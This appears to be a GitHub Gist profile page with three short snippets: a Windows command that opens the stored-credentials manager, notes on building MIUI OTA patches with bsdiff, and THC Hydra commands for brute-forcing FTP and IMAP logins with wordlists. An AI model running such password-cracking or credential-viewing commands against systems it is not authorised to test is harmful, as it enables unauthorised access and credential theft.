Skip to content

Instantly share code, notes, and snippets.

View cmartinbaughman's full-sized avatar

Chris Baughman cmartinbaughman

  • TE Connectivity
  • USA
View GitHub Profile
@cmartinbaughman
cmartinbaughman / GetCachedNetworkCredentials.cmd
Created June 12, 2013 15:22
More nifty network commands for the super secret admin toolbox, found somewhere here on gist original by fabriceleal!
rundll32.exe keymgr.dll, KRShowKeyMgr
@cmartinbaughman
cmartinbaughman / Creating MIUI OTA patches
Created October 19, 2012 18:30
Creating MIUI OTA patches
(转)creating binary patch files (.p files) with bsdiff
I was looking through a .602 update.zip and noticed the .p files; I opened one up in notepad++ and saw that the file begins with "bsdiff" so did a search and found this tool:
http://www.daemonology.net/bsdiff/
bsdiff takes an original file and a modified file as input and creates a binary patch file.
bspatch takes an original file and a patch file as input and creates a modified file.
usage (windows):
@cmartinbaughman
cmartinbaughman / handy_commands
Created October 25, 2011 20:38
Commands to remember...
#Cracking an FTP server (use whatever service you want THC Hydra supports lots!
hydra -L wordlist.txt -P passlist.txt 192.168.1.1 ftp
#Other handy THC Hydra commands~!
#Log in to ftp service with -l user and -p password:
./hydra -l john -p doe 192.168.0.1 ftp
#Log in to IMAP service using user wordlist with -L user.txt and the password -p secret:
./hydra -L user.txt -p secret 192.168.0.1 imap PLAIN